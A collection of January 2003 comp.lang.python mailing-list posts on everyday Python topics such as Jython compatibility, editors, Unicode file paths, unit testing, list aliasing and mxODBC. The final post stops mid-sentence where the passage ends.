From hancock at anansispaceworks.com  Mon Jan  6 22:46:20 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 07 Jan 2003 03:46:20 GMT
Subject: Jython/Python Libs
Message-ID: <g4sS9.20725$9N5.1854174@newsread2.prod.itd.earthlink.net>

Hi all,
I need to survey what modules are supported in both Jython and Python 
(which is probably nearly the same as knowing which modules have no 
dependencies on C extensions).  What would be the quickest way to establish 
that?  (As in, is there a way to import and test them all automatically and 
report the failures, or has someone already tabulated this somewhere).

Ideally I'd also catch the few cases of modules which don't work correctly 
for language compatibility regions, but I know that can be pretty subtle.

I'm really only interested in the standard library modules -- I'll test any 
extra modules we need case-by-case anyway.

The goal is to clearly establish and document what subset of Python will 
run on either platform.

Thanks for any suggestions,
Terry
-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From andersjm at dancontrol.dk  Thu Jan  2 09:27:05 2003
From: andersjm at dancontrol.dk (Anders J. Munch)
Date: Thu, 2 Jan 2003 15:27:05 +0100
Subject: Sorting out sort (Re: Python vs. Ruby)
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk> <v18hldk4img654@news.supernews.com>
Message-ID: <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>

"John Roth" <johnroth at ameritech.net> wrote:
> > How about adding this to the library somewhere?
> 
> This version unfortunately doesn't allow chained application. - it's purely
> a functional version. 

It was intended to be a purely functional version.  It doesn't chain,
but then it doesn't need to.  Say we add a functional reverse also:
 
def reverse(sequence):
    """reverse a sequence, returning a new list"""
    reversed = list(sequence)
    reversed.reverse()
    return reversed

print reverse(sort([1,4,2,3]))

What more do you need?

- Anders





From robin at jessikat.fsnet.co.uk  Wed Jan 15 18:49:56 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 15 Jan 2003 23:49:56 +0000
Subject: This job came across my desk
Message-ID: <cr9WNLAkOfJ+Ew4i@jessikat.fsnet.co.uk>

Job Title: Python OO Developer
Location:  Hertfordshire
Type:      Permanent
Salary:    To ?35,000
To view the full job description please click the link below:
http://www.gojobsite.co.uk/showvac/3fGk0m/10429047/911088668

-- 
Robin Becker



From N.Vasiliev at apatit.com  Fri Jan 31 05:01:59 2003
From: N.Vasiliev at apatit.com (Nicolay Vasiliev)
Date: Fri, 31 Jan 2003 13:01:59 +0300
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <mailman.1043997238.14292.python-list@python.org> <b1dgcq$1iss$1@bull.east.ru> <EKr_9.48894$Hl6.6194298@news010.worldonline.dk>
Message-ID: <b1dhin$1k8l$1@bull.east.ru>

> Wich possibility? What do you mean by reporting?

Sorry, guys!

I meant could I export data retrieved from any data sources (db or files)
into MS Excel using python developed application. BTW, earlier you answered
meaning COM, it's enough for me.

Nicolay V.

PS: Again sorry for inconvenience :(.





From P_spam_ at draigBrady.com  Thu Jan  2 08:52:45 2003
From: P_spam_ at draigBrady.com (P_spam_ at draigBrady.com)
Date: Thu, 02 Jan 2003 13:52:45 +0000
Subject: Best Python editor (under Linux)
In-Reply-To: <av1dsi$pqv$1@reader1.imaginet.fr>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr>
Message-ID: <3E14442D.7080501@draigBrady.com>

Barghest wrote:
>>Anyone know some good Python editors under Linux?
>>With good color highlightning... :)
> 
> - SciTE or gscite ( gnome scite ) http://www.scintilla.org/SciTE.html ( I
> think it's the best for python ).

It a very nice editor, especially the folding.
However the folding seems wrong for python. For the
following code the comment is folded along with
the for statement?

for i in range(10):
	a=1
#comment
b=2

> - Jext, 100% Java. Note that there's a JPython extension.
> http://www.jedit.org/
nice but slow

It's also worth looking at moleskin:
http://www.micampe.it/software/moleskine/
This is written in python using pygtk + scintilla
(so it's similar to SciTE).

P?draig.




From jbperez808 at yahoo.com  Fri Jan 17 22:39:30 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 19:39:30 -0800
Subject: PEP 8: on member variables vs. attributes
References: <f57664b9.0301170041.46cc103e@posting.google.com>
Message-ID: <f57664b9.0301171939.387f4351@posting.google.com>

> From PEP 8:
> 
> Designing for inheritance
> 
>       ...  In general, never make data
>       variables public unless you're implementing essentially a
>       record.  It's almost always preferrable to give a functional
>       interface to your class instead (and some Python 2.2
>       developments will make this much nicer)...

I get both your points.  I guess my precise question would
be:  Doesn't the recommendation to use properties (for
its syntactic sugar benefits) essentially deprecate the
suggestion to make a 'functional' interface to your class? 
Properties, after all, are identical in usage to attributes.  
I guess better clarifying language is needed in the PEP.



From bdesth at removethis.free.fr  Thu Jan 23 18:15:06 2003
From: bdesth at removethis.free.fr (laotseu)
Date: Thu, 23 Jan 2003 18:15:06 -0500
Subject: How to get the types of the parents of an object ?
References: <3E2D3C3C.8010800@novagrid.com>
Message-ID: <3E30777A.1020801@removethis.free.fr>

christophe grimault wrote:
> Hi,
> 
> I need to control the type of some arguments passed to a constructor. 
> Specifically,
> my classes inherit of 'object', so
> 
> type(my_object)
> 
> returns
> 
> my_class
> 
> Now my_class is a child of my_super_class. And I want to check if
> my_object is an instance of my_super_class.
> 
> How can I do that
> 
> Thanks in advance,
> 
> Chris
> 

You already got answers to your questions, so I just ask you one : why 
do you (think you) need to control the class of an object ?

If it's just to be sure it expose whole or part of a given interface, it 
may not be the most pythonic thing to do IMHO. Doing so you're loosing 
all the advantages of dynamic typing when it comes to polymorphism.

(but you may have other good reasons to do so ?)

<OT>
Ok, I know that's not what the OP was asking for, but I did this kind of 
things when I started learning Python, before realising it was not such 
a good thing).
</OT>

Laotseu




From logistix at zworg.com  Tue Jan  7 00:48:58 2003
From: logistix at zworg.com (logistix)
Date: 6 Jan 2003 21:48:58 -0800
Subject: How to suppress SaveAs dialog box from IE?
References: <6eabbea7.0301060721.2643580b@posting.google.com>
Message-ID: <bdb5b58f.0301062148.32ff27c3@posting.google.com>

mmikic at jwmp.com (Milan Mikic) wrote in message news:<6eabbea7.0301060721.2643580b at posting.google.com>...
> Dear All,
> 
> I'm trying to script IE using win32com to save a web page. My problem
> is that IE allways pops up a dialog box. Does anyone know how to
> suppress it?
> 
> My code is as follows:
> 
> import win32com.client,time,string
> ie = win32com.client.DispatchEx("InternetExplorer.Application")
> ie.Navigate("https://cds.jpmorgan.com/creditderivatives/cgi-bin/MPshowCurves?market=ASA")
> doc = ie.Document
> doc.ExecCommand("SaveAs",0,"c:\\temp\\fihur.htm")
> 
> Where am I going wrong?
> 
> Many Thanks,
> Milan

As I'm sure you've noticed, the IE COM component docs really suck ;)

Try using doc.body.innerhtml to grab the html directly instead of
using IE's "save as" function.

You'll also need a loop like:

while ie.ReadyState != 4:
    pass

before that to make sure that the page is completely loaded first.



From mike at bindkey.com  Tue Jan 21 21:37:46 2003
From: mike at bindkey.com (Mike Rovner)
Date: Tue, 21 Jan 2003 18:37:46 -0800
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com>
Message-ID: <b0l03b$mkf$1@main.gmane.org>

"Marc" <mnations at airmail.net> wrote in message
news:4378fa6f.0301211616.3b353722 at posting.google.com...
> Hi,
>
> I've been reading on the different ways to extend Python with C/C++.
> Not having done this before, I can't figure out the easiest way to
> solve my problem. I was hoping someone might have experience with
> this.

I might be not THAT bad.
IIUC, the new tool has Tcl interface. It means, you can write a Tcl script
to file,
make the tool run it and get results to a file again.
Than you have an interface very similar to telnet.

> There are various ways to extend C, and also some applications such as
> SWIG that have been written to assist with the process. Having used
> none of these, I'm not sure the best way to go.

Of cause, you can use SWIG to wrap that C interface library and have Python
interface to the tool!
If that is what you want, you have again choose among
- wrapping .h files semi-automatically with SWIG,
- write interface on Pyrex (near Python syntax) manually or
- write interface on C++ manually (using boost.python).
The choice mainly depends on the amount of interface you want to expose and
experience you (want to) have.

Despite lack of data, I can suppose that Pyrex will be easiest/fastest way
for you if the Tcl approach isn't enough.

Mike

SWIG www.swig.org
Pyrex http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/
boost.python www.boost.org







From dipthot at my-deja.com  Thu Jan 23 21:00:43 2003
From: dipthot at my-deja.com (Glenn)
Date: 23 Jan 2003 18:00:43 -0800
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <b68f71a7.0301211050.68ab02dd@posting.google.com> <xWmX9.33379$bs2.30006@news2.central.cox.net> <3E2E05AC.2C136710@engcorp.com> <1b7b30.0301221804.301846f4@posting.google.com> <3E2F59F9.6BF0A85E@engcorp.com>
Message-ID: <1b7b30.0301231800.455cfbc8@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<3E2F59F9.6BF0A85E at engcorp.com>...
> Glenn wrote:
> > 
> > Peter Hansen <peter at engcorp.com> wrote in message news:<3E2E05AC.2C136710 at engcorp.com>...
> > > To be fair to c.l.p, it's likely only Alan James and myself are
> > > c.l.p-denizens.  I suspect all the others are cross-posting intruders
> > > from de.alt.dummschwatz and comp.sys.ibm.pc.games.strategic which
> > > you just *know* are going to have a strange lot lurking within.
> > >
> > > Wait a minute... does that somehow mean I'm on a level with
> > > people named GlennGlenn, mudpuppy, and Sinister Midget ?
> > >
> > > Ouch, how low I've come....
> > 
> > Hey!
> >
> > GlennGlenn
> 
> Oops... please permit me retroactively to insert a smiley that was
> missing in the post... it _was_ intended to be humourous, not 
> mean.
> 
>   :-)   (place appropriately in above quoted text)
> 
> There.... ;-)
> 
> -Peter

My turn: I hereby retroactively insert a smiley that was not in my
post, as I actually had picked up on the humor in the original
statement.

Hey!  :-)  (Cut and paste appropriately)

Now all there is to do is lift a pint.

(Note the lack of a smiley.)

GlennGlenn



From ritschratsch at gmx.de  Tue Jan  7 17:29:30 2003
From: ritschratsch at gmx.de (Phillip)
Date: Tue, 7 Jan 2003 23:29:30 +0100
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters (???))
References: <avcvi1$5av$03$1@news.t-online.com> <20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <avfgo9$clb$05$1@news.t-online.com>

pythonhda wrote:

> See the code changes below...

>> file = http.getfile()
>  data = file.read() ####
> http.close()       ####
> return data        ####
>> 
>> CompareServer = ServerGet("www.server.com")
>> ComparePage =
>> 
CompareServer.fetch("""/grab/database/get-page/link=ddb_benutzt_a/00b-97rt
        692-8ab6561?view=fixed-thing&field-stuff-type=used&thing-number=
        3897211920&field-status=open&size=25&rank=+parameter""")
>> # long URL, I know....
>> print ComparePage

Thanks for the help, but:
This still won't work. Here's the same error I get:
>>>>>>
Traceback (most recent call last):
  File "browse.py", line 166, in ?
    MyFetch.compare()
  File "browse.py", line 144, in compare
    DataFetchWrite.write(CompareServer1.fetch(CompareURL))
  File "browse.py", line 47, in fetch
    data = file.read()
AttributeError: 'None' object has no attribute 'read'
<<<<<<

As I said, httplib(!!!) won't return *anything*! Your little addition 
doesn't repair that. ServerGet seems OK, I don't see your point in copying 
the stuff - except form maybe closing the connection.
I just can't figure....any other idea?

--
Phillip



From pyth at devel.trillke.net  Thu Jan 30 13:21:40 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 19:21:40 +0100
Subject: Help a C++ coder see the light
In-Reply-To: <memo.20030130181135.820C@a.radioscape.com>; from mark.charsley@REMOVE_THIS.radioscape.com.trillke.net on Thu, Jan 30, 2003 at 06:11:00PM +0000
References: <memo.20030130181135.820C@a.radioscape.com>
Message-ID: <20030130192140.W10804@prim.han.de>

Mark Charsley wrote:
> I've been coding C++ for years now and Python for a few months. 
> Incidentally, I'd say that Python's greatest strength is that it took me 
> about two months to become as competent at Python as I was after two years 
> of C++.
> 
> However, what's nice flexibility in a small Python project (we're using 
> python to script a callback interface, and its very easy to support 
> arbitrary functions taking arbitrary arguments) would give me the 
> screaming heebie-jeebies in a larger project.
> 
> I'm used to the compiler/linker giving me a lot of reassurance that my 
> code works. Python removes that reassurance and just leaves it to runtime 
> errors.

I understand this situation and had it myself.  But i learned 
from people here on this list that writing "unit tests" is a
brilliant solution for the problems at hand.

Basically, type checks only ensure correct behaviour at a very
low level.  You can cover much more ground if you write little
tests (really twoliners in many cases) that check that your
methods actually perform as expected in a *semantic* way. 
 
> The most annoying is typos along the lines of:
> 
> if myVar < 0:
>     myVal = -myVar
> CalculateSquareRoot(myVar)

If this would be in a function 'square_root_abs' you would write

    def test_square_root_abs(self):
        obj = cls()
        self.assertEquals(1,square_root_abs(1))
        self.assertEquals(1,square_root_abs(-1))
        self.assertEquals(2,square_root_abs(4))

Of course you would continue to define what behaviour
you want for floats etc.pp.  Now this test catches a lot
more behaviour problems than compile-time type-checking
can do. 

Having a lot of tests like this makes a programmer's live
really less stressfull.  And python is good language to
write down simple tests.  With C++ & Java i never really
cared that much for fine-grained tests.  It was just to
painful especially during refactoring. 

    holger




From donnalcwalter at yahoo.com  Thu Jan 23 08:55:43 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Thu, 23 Jan 2003 07:55:43 -0600
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <23891c90.0301170257.7267c8c3@posting.google.com>
Message-ID: <b0os62$59t$1@main.gmane.org>

"Paul Boddie" <paul at boddie.net> wrote:
>
>   * You could write your own object model. Frederik Lundh's
>     ElementTree is like this. I'm not 100% convinced that it's
>     beneficial to drop a standard object model that is widely
>     understood for another which is more Pythonic, although this
>     is a tradeoff that might be appropriate for some situations.
>

I would be interested in a reference or URL to FL's ElementTree. Google was
no help here. Thanks.

Donnal Walter
Arkansas Children's Hospital







From look at sig.invalid  Thu Jan 23 19:48:14 2003
From: look at sig.invalid (Simo Salminen)
Date: Fri, 24 Jan 2003 00:48:14 +0000 (UTC)
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <7xadhrh3a6.fsf@ruckus.brouhaha.com>
Message-ID: <slrnb313ae.jcm.look@pikkukorppi.cs.tut.fi>

* Paul Rubin [23 Jan 2003 15:09:21 -0800]
> Tim Peters suggested one a few days ago:
> 
>    if [match for match in [re.match(pattern,string)]][0]:
>         # do something with match object

and from cookbook:
<clip>

Not recommended, in any case, is the following abuse of list format
as comprehension
syntax:

while [line for line in (file.readline(),) if line]:
  process(line)

It works, but it is unreadable and error-prone.

</clip>

i think the conclusion applies to this case too.

-- 
simo <dot> salminen <at> iki <dot> fi



From martin at v.loewis.de  Tue Jan 21 18:41:42 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 22 Jan 2003 00:41:42 +0100
Subject: os.system and unicode arguments fail on Win32
References: <d6kk0b.vfh1.ln@boundary.tundraware.com>
Message-ID: <m3bs2a8409.fsf@mira.informatik.hu-berlin.de>

Tim Daneliuk <tundra at tundraware.com> writes:

> All this works fine most of the time.  However, if the user makes
> reference to a file- or directory name which contains an 8-bit
> character (which is legal under Win32), the Windows dialog returns a
> *unicode* string - it apparently assumes that 8-bit data is
> automatically to be made into unicode, rather than returning a byte
> string.

Indeed, Tkinter always returns Unicode strings. Internally, it doesn't
even "know" what the 8-bit representation is (it keeps an UTF-8
representation also, but this is not the "native" 8-bit representation).

> IOW, (and indeed any number of other calls like os.chdir) seem to only
> work with real strings - they'll accept byte strings - but not with unicode
> strings.

This will change in Python 2.3. In many cases, Python 2.2 will also
accept Unicode strings in file system API on Windows. For Python 2.3,
and NT+, all Unicode strings are usable as file names.

This still does not include os.system, or environment variables.

> Is there a way to "depromote" a unicode string into a byte string that
> the os calls can live with, or am I forced to figure out a low-level
> system call (via win32all, I guess) which *should* be able to handle
> this case.

Sure. Just invoke .encode(native encoding) on the Unicode object, to
obtain a byte string.

On Windows, using "mbcs" as the native encoding is correct in most
cases.

Regards,
Martin



From gerhard.haering at opus-gmbh.net  Fri Jan 17 03:45:34 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 17 Jan 2003 08:45:34 GMT
Subject: time.sleep() under Windows
References: <e3df2vg0gscsej9gusno0ek1sv2ihn9dvl@4ax.com>
Message-ID: <slrnb2fgbo.9k.gerhard.haering@haering.opus-gmbh.net>

Chuck <cdreward at riaa.com> wrote:
> 
> In Windows 98, if I type:
> 
> time.sleep(5)
> 
> in the python shell (GUI or console), the shell itself locks up for 5
> seconds, and I cannot stop it with a CTRL-C (or rather, it does not
> respond to the CTRL-C until all 5 seconds have passed).

That's normal. I believe Ctrl-C only works if anything is currently going
on with the stdin/out/err files.

Btw. try Ctrl-Break (on the Pause key) - it works here to interrupt
time.sleep on Windows 2000.

> The python shell locks up - I cannot move the window, minimize it, etc.

Sounds like a Win98 issue.

> The same script, in Linux, runs the way I want it (you can CTRL-C it, the
> interpreter doesn't lock up, etc). I realize this is just a platform issue...
> But is there something else besides time.sleep() that I can use, that is
> platform independent?

There are many functions in the Python standard library that are platform
independent ;-) But for actually sleeping, I think time.sleep is the only
option. But maybe your app doesn't really need to sleep but wait on data to
become available? In that case, you could use select.select instead.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From davecook at nowhere.net  Tue Jan 21 03:24:37 2003
From: davecook at nowhere.net (David M. Cook)
Date: Tue, 21 Jan 2003 08:24:37 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th>
Message-ID: <slrnb2q0tv.19n.davecook@localhost.localdomain>

In article <b0gp1r$mec$1 at news.ksc.co.th>, Allan Wichelman wrote:
> 
> 
> 
> 
> 

Well, I guess you can never be disappointed that way.

Dave Cook



From mikael at isy.liu.se  Tue Jan 21 07:57:00 2003
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Tue, 21 Jan 2003 13:57:00 +0100
Subject: 2D lists
In-Reply-To: <b68f71a7.0301210312.2df2229f@posting.google.com>
References: <c7486c63.0301201106.681eece8@posting.google.com>
	<9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com>
	<hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>
	<b68f71a7.0301210312.2df2229f@posting.google.com>
Message-ID: <20030121135700.111f2dba.mikael@isy.liu.se>

On 21 Jan 2003 03:12:10 -0800
alan_salmoni at yahoo.com (Alan James Salmoni) wrote:
> a = [0] * 3
> b = []
> b.append(a)
> b.append(a)

Not so good:

>>> a = [0] * 3
>>> b = []
>>> b.append(a)
>>> b.append(a)
>>> b
[[0, 0, 0], [0, 0, 0]]
>>> b[0][0]=1
>>> b
[[1, 0, 0], [1, 0, 0]]

Oops!

> c = [[0]*3,[0]*3]

This one works.

/Mikael

-----------------------------------------------------------------------
E-Mail:  mikael at isy.liu.se
WWW:     http://www.dtr.isy.liu.se/dtr/staff/mikael               
Phone:   +46 - (0)13 - 28 1343
Telefax: +46 - (0)13 - 28 1339

         /"\
         \ /     ASCII Ribbon Campaign
          X      Against HTML Mail
         / \

This message was sent by Sylpheed.
-----------------------------------------------------------------------
Link?pings kammark?r: www.kammarkoren.com




From paddy3118 at tiscali.co.uk  Sat Jan  4 06:56:48 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Sat, 04 Jan 2003 11:56:48 +0000
Subject: Best Python Editor (under Linux)
In-Reply-To: <3E156ABB.CC059072@alcyone.com>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com>
Message-ID: <3E16CC00.90006@tiscali.co.uk>

Erik Max Francis wrote:
> Paddy wrote:
> 
> 
>>Others are comfortable with emacs, another non-simple editor that
>>repays the initial
>>steeper learning curve by giving a rich environment. ( I hope I've
>>succeeded in mentioning
>>emacs without playing it down - I don't want to continue that war :-).
> 
> 
> I also don't want to get into a vi vs. emacs war, but how does emacs
> have a steeper learning curve, at least for just basic text editing
> usage (creating files, opening files, editing files, saving files,
> quitting)?  On the contrary, I think to a total neophyte vi is a lot
> more intimidating:  You can't even start entering text unless you enter
> a code first.  Modern graphical versions of emacs start you in a scratch
> space and have menu bars that all you to open files, close files, exit
> the editor, etc.
> 
> I obviously prefer emacs (I know just enough vi to be able to edit
> configuration files on systems that for one reason or another don't have
> emacs available), so I won't pretend I don't have a bias, but of all the
> differences between vi and emacs, emacs having a steeper learning curve
> doesn't seem right to me.  (It does have many, many more features than
> vi, but you only need to learn the ones you plan to use.)
> 

Hell, I've managed to do what I didn't want to do.

I meant a steeper learning curve when compared to something like textedit. I was mentally 
grouping emacs and vi against simpler fare and failed to convey it in my post.

Pad.




From tdelaney at avaya.com  Thu Jan 30 23:27:50 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 15:27:50 +1100
Subject: Implicit lists
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC4F9@natasha.auslabs.avaya.com>

> From: Erik Max Francis [mailto:max at alcyone.com]
> 
> Wouldn't it be more appropriate to have _two_ functions, one 
> which takes
> a sequence, and one which takes a single object (and possibly simply
> wraps it in a one-element list and passes it to the sequence-taking
> function)?

Indeed. I can almost guarantee that at some time in the future, you will
pass a list, and then wonder why it didn't get wrapped in a list. At some
time, you will want this behaviour (treating the passed list as atomic).

Tim Delaney




From coreydalejohnson at yahoo.com  Sat Jan  4 12:23:27 2003
From: coreydalejohnson at yahoo.com (corey)
Date: 4 Jan 2003 09:23:27 -0800
Subject: Port Python to PS2
References: <194e1e0a.0301031622.69bf6994@posting.google.com> <mailman.1041640746.31784.python-list@python.org>
Message-ID: <194e1e0a.0301040923.3361549c@posting.google.com>

Richard Jones <rjones at ekit-inc.com> wrote in message news:<mailman.1041640746.31784.python-list at python.org>...
 
> googled for "python PS2" - first link gets me to:
> 
> http://mail.python.org/pipermail/python-dev/2002-June/025503.html

That links to Jason Asbahr's port which I talked about in my first
post. I don't think his code has been added to CVS yet. I have used
the files on his website but I am looking to better understand the
process of porting python, not just library to do it.



From tismer at tismer.com  Sun Jan 12 14:03:23 2003
From: tismer at tismer.com (Christian Tismer)
Date: Sun, 12 Jan 2003 20:03:23 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <CWhU9.267294$bZ.63369@FE07>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <CWhU9.267294$bZ.63369@FE07>
Message-ID: <3E21BBFB.90405@tismer.com>

Steve Holden wrote:
> "Edward K. Ream" <edream at tds.net> wrote ...
> [Holger]
> 
>>>As Armin Rigo of PSYCO fame takes part in the effort,
>>
>>we are confident that MinimalPython will eventually
>>run faster than today's CPython.
>>
>>This announcement seems to be making a truly remarkable claim, namely that
>>one could increase the speed of  C code by recoding it in Python and then
>>applying Psycho to it.
>>
>>I am inclined to disbelieve this claim.  Why should Psycho be able to do
>>better than an optimizing C compiler applied to hand-written interpreter
>>code and/or library code?  [...]

...

> In more or less the same way that a good C compiler nowadays tends to
> produce code that out-performs an algorithm coded in assembly language by a
> moderately-competent programmer?

Exactly.
A good C compiler outperforms a good assembly
programmer, since it is stubborn enough and able
to keep track of many registers and variables.
These are things that a programmer can probably
do better in the small, but not in the large.

But a C compiler creates static code.
A compiler which is able to figure out
the common cases at run-time and is able
to specialize, is more adaptive and thereby
can theoretically produce better code than
the static compiler. It also can adapt to
the actual CPU version much better, if we
support that.

This is of course not an easy job, and maybe
we will fail miserably for some reason.
But we will never know if we don't try.

There is at least a chance to take -- chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From markus_wankus at hotmail.com  Sun Jan  5 12:05:52 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sun, 05 Jan 2003 17:05:52 GMT
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122> <slrnb1ef1h.4l0.grey@teleute.dmiyu.org> <av7tcs$je4$0@216.39.172.122> <slrnb1f9jg.83j.grey@teleute.dmiyu.org> <mailman.1041754388.14454.python-list@python.org>
Message-ID: <1103_1041786352@news1.on.sympatico.ca>

On Sun, 05 Jan 2003 09:10:06 +0100, Laura Creighton <lac at strakt.com> wrote:

> whole bunch of mail commands fully accessible from the shell.  What I
> consider 'the ideal tool size' may be a lot _smaller_ than what you do.
> 

Too...many....jokes.....must.....ignore............arrrrgggghhhhhh....BOOM! (head explodes). 






From edwinstory at yahoo.com  Fri Jan 10 04:26:34 2003
From: edwinstory at yahoo.com (EdS)
Date: 10 Jan 2003 01:26:34 -0800
Subject: Bug in mxODBC setconnectoption() with SQL.ATTR_CURRENT_CATALOG?
Message-ID: <cdd0a8cb.0301100126.6427147d@posting.google.com>

I think I've found a bug in mxODBC setconnectoption().  If I do

   dbConnection.setconnectoption( ODBC.SQL.ATTR_CURRENT_CATALOG, "MyTestDB" )

I get

   exceptions.TypeError: an integer is required

SQL.ATTR_CURRENT_CATALOG correctly evaluates to 109, the same as
SQL_ATTR_CURRENT_CATALOG in ODBC.  It would appear that the second arg to this
call must be an integer, which is the usual case, in all cases.

Other calls such as setconnectoption( ODBC.SQL.ACCESS_MODE,
ODBC.SQL.MODE_READ_ONLY ) work fine.

This is with version 2.0.5.

Does anyone know of a different way to dynamically switch the current db with
mxODBC (as opposed to DATABASE=xxx when connecting)?

Thanks,
Ed



From tismer at tismer.com  Tue Jan 14 22:32:11 2003
From: tismer at tismer.com (Christian Tismer)
Date: Wed, 15 Jan 2003 04:32:11 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]Minimal
 Python project)
In-Reply-To: <3E24D373.24697174@alcyone.com>
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net> <mailman.1042501897.17131.python-list@python.org> <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com> <mailman.1042596149.25126.python-list@python.org> <3E24D373.24697174@alcyone.com>
Message-ID: <3E24D63B.8080502@tismer.com>

Erik Max Francis wrote:
...

> Perhaps something like Python-in-Python (PIP) might be a better name.
> 
> Although I must admit Ython has a weird attraction to me ...

ounds '' it ike astration, '' ust dmit -)

ur's incerely - hris





From aleax at aleax.it  Thu Jan 30 04:42:56 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 09:42:56 GMT
Subject: A few quick questions
References: <G63_9.5232$Tu2.18529@news-server.bigpond.net.au>
Message-ID: <As6_9.103167$0v.3001018@news1.tin.it>

Anthony Irwin wrote:

> I am Interested in learning more about python, I would like to know how
> people feel it rates as an application development language. I mainly use
> linux but also use windows at work.

I think Python is the best language you can use to develop applications,
PARTICULARLY in such a cross-platform scenario.

> could anyone point out any good gui programming tutorials for linux or
> crossplatform toolkits 

Personally, I love PyQt -- among its advantages is an excellent tutorial
Boudewijn Rempt, see http://www.xs4all.nl/~bsarempt/python/book.html .

> and also maybe some review articles on how well
> python rates as a language.

You mean something like:

http://www.linux-mag.com/cgi-bin/printer.pl?issue=2002-04&article=python
http://www.linux-mag.com/cgi-bin/printer.pl?issue=2002-07&article=python

...?

> would it be possible to create programs like dreamweaver, games, database
> business apps etc. Or is it more suited to smaller projects.

Python is perfectly suitable for developing large applications, as
well as small ones.  See:
http://www.pythonology.org/success/
for some real-world examples.  For games specifically, see
http://pygame.org/ -- a most excellent cross-platform game
development toolkit wrapping the SDL library.


Alex




From padraig.brady at corvil.com  Tue Jan  7 09:36:16 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Tue, 07 Jan 2003 14:36:16 +0000
Subject: os.remove & os.rmdir
In-Reply-To: <3E1ADF0A.A5FBBBFD@engcorp.com>
References: <RmyS9.1309$V6.1827@news.indigo.ie> <3E1ADF0A.A5FBBBFD@engcorp.com>
Message-ID: <3E1AE5E0.7030208@corvil.com>

Peter Hansen wrote:
> Padraig Brady wrote:
> 
>>So, should I do a simple patch?
> 
> Please don't!
> 
>>Advantages I can see are:
>>
>>    1. It follows the standard
> 
> Which standard?  This is Python, not C.

POSIX and ISO C. Having different functionality than those
is confusing I think.

>>    2. It removes the redundancy of 2 functions doing the same thing
>>    3. Is saves you having to write code like:
>>        If os.path.isdir(path):
>>            os.rmdir(path)
>>        else:
>>            os.unlink(path)
> 
> 
> Why would you write that code?  If you really wanted to remove
> a directory and all directories under it, if there are any, 
> would you not write just "os.rmdir(path)" ?

Nope that only works for empty directories. Note I'm
only talking about empty directories anyway.

> And if you _didn't_
> want to remove subfolders if there were any, you would just
> use os.remove or os.unlink and know that there would be an
> exception or whatever if it was not an empty directory.

that's not the way it works currently. Currently os.{remove,unlink}
